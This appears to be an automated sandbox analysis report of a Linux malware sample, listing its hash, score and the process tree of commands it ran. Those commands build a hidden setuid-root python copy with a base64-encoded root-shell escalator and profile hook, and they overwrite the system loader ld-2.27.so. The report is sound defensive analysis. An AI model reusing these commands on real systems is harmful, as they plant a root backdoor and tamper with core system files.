Overview

overview

5

Static

static

f161292481...3f56c8

linux_armhf

f161292481...3f56c8

linux_mips

f161292481...3f56c8

linux_mipsel

f161292481...3f56c8

linux_amd64

5

Resubmissions

14/07/2022, 15:45

220714-s61q8ahdam10

08/07/2022, 08:10

220708-j2selsgfep5

07/07/2022, 21:44

220707-1lxg3afba85

Analysis

  • max time kernel
    0s
  • max time network
    102s
  • platform
    linux_amd64
  • resource
    ubuntu1804-amd64-en-20211208
  • submitted
    08/07/2022, 08:10

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    f1612924814ac73339f777b48b0de28b716d606e142d4d3f4308ec648e3f56c8
  • Size 870KB
  • Sample220708-j2selsgfep
  • SHA256 f1612924814ac73339f777b48b0de28b716d606e142d4d3f4308ec648e3f56c8
  • MD5 SHA1 SHA512
Score
5/10

Malware Config

Signatures

  • Reads runtime system information 8 IoCs

    Reads data from /proc virtual filesystem.

Processes

  • ./f1612924814ac73339f777b48b0de28b716d606e142d4d3f4308ec648e3f56c8
    ./f1612924814ac73339f777b48b0de28b716d606e142d4d3f4308ec648e3f56c8
    1⤵
    • Reads runtime system information
    PID:593
    • /bin/sh
      sh -c "mkdir /lib/libntpVnQE6mk"
      2⤵
        PID:594
        • /bin/mkdir
          mkdir /lib/libntpVnQE6mk
          3⤵
          • Reads runtime system information
          PID:595
      • /bin/sh
        sh -c "cp /lib/x86_64-linux-gnu/ld-2.27.so /lib/libntpVnQE6mk/.backup_ld.so"
        2⤵
          PID:596
          • /bin/cp
            cp /lib/x86_64-linux-gnu/ld-2.27.so /lib/libntpVnQE6mk/.backup_ld.so
            3⤵
            • Reads runtime system information
            PID:597
        • /bin/sh
          sh -c "ls -l /lib64/ld-linux-x86-64.so.2"
          2⤵
            PID:598
            • /bin/ls
              ls -l /lib64/ld-linux-x86-64.so.2
              3⤵
              • Reads runtime system information
              PID:599
          • /bin/sh
            sh -c "chown -R 920366:920366 /lib/libntpVnQE6mk/"
            2⤵
              PID:600
              • /bin/chown
                chown -R 920366:920366 /lib/libntpVnQE6mk/
                3⤵
                  PID:601
              • /bin/sh
                sh -c "mkdir /lib/libntpVnQE6mk/bin; cp /usr/bin/python /lib/libntpVnQE6mk/bin/python; chmod 4755 /lib/libntpVnQE6mk/bin/python"
                2⤵
                  PID:602
                  • /bin/mkdir
                    mkdir /lib/libntpVnQE6mk/bin
                    3⤵
                    • Reads runtime system information
                    PID:603
                  • /bin/cp
                    cp /usr/bin/python /lib/libntpVnQE6mk/bin/python
                    3⤵
                    • Reads runtime system information
                    PID:604
                  • /bin/chmod
                    chmod 4755 /lib/libntpVnQE6mk/bin/python
                    3⤵
                      PID:605
                  • /bin/sh
                    sh -c "echo aW1wb3J0IG9zCm9zLnNldHJldWlkKDAsMCkKb3MuZXhlY3YoIi9iaW4vYmFzaCIsICgiL2Jpbi9iYXNoIiwgIi1pIikpCg==|base64 -di > /lib/libntpVnQE6mk/bin/escalator"
                    2⤵
                      PID:606
                      • /usr/bin/base64
                        base64 -di
                        3⤵
                          PID:608
                      • /bin/sh
                        sh -c "echo IyEvYmluL2Jhc2gKaWYgWyAiJChpZCAtdSkiIC1uZSAwIF0gOyB0aGVuCiAgIGVjaG8gIldlbGNvbWUgdG8gJChob3N0bmFtZSkuIFlvdSBhcmUgR0lEICQoaWQgLWcpLCBVSUQgJChpZCAtdSkgYW5kIGFib3V0IHRvIGJlIGVzY2FsYXRlZCB0byBVSUQgMC4iCiAgIGV4ZWMgfi9iaW4vcHl0aG9uIH4vYmluL2VzY2FsYXRvcgpmaQpQUzE9J1tcdUBcaCBcV11cJCAnCg==|base64 -di > /lib/libntpVnQE6mk/.profile; chown 920366:920366 /lib/libntpVnQE6mk/.profile; chmod +x /lib/libntpVnQE6mk/.profile;ln -s /lib/libntpVnQE6mk/.profile /lib/libntpVnQE6mk/.bashrc"
                        2⤵
                          PID:609
                          • /usr/bin/base64
                            base64 -di
                            3⤵
                              PID:611
                            • /bin/chown
                              chown 920366:920366 /lib/libntpVnQE6mk/.profile
                              3⤵
                                PID:612
                              • /bin/chmod
                                chmod +x /lib/libntpVnQE6mk/.profile
                                3⤵
                                  PID:613
                                • /bin/ln
                                  ln -s /lib/libntpVnQE6mk/.profile /lib/libntpVnQE6mk/.bashrc
                                  3⤵
                                    PID:614
                                • /bin/sh
                                  sh -c "cp -p /lib/x86_64-linux-gnu/ld-2.27.so /lib/lib0UZ0LfvWZ.so"
                                  2⤵
                                    PID:615
                                    • /bin/cp
                                      cp -p /lib/x86_64-linux-gnu/ld-2.27.so /lib/lib0UZ0LfvWZ.so
                                      3⤵
                                      • Reads runtime system information
                                      PID:616
                                  • /bin/sh
                                    sh -c "mv /lib/lib0UZ0LfvWZ.so /lib/x86_64-linux-gnu/ld-2.27.so"
                                    2⤵
                                      PID:617
                                      • /bin/mv
                                        mv /lib/lib0UZ0LfvWZ.so /lib/x86_64-linux-gnu/ld-2.27.so
                                        3⤵
                                        • Reads runtime system information
                                        PID:618

                                  Network

                                        MITRE ATT&CK Matrix

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads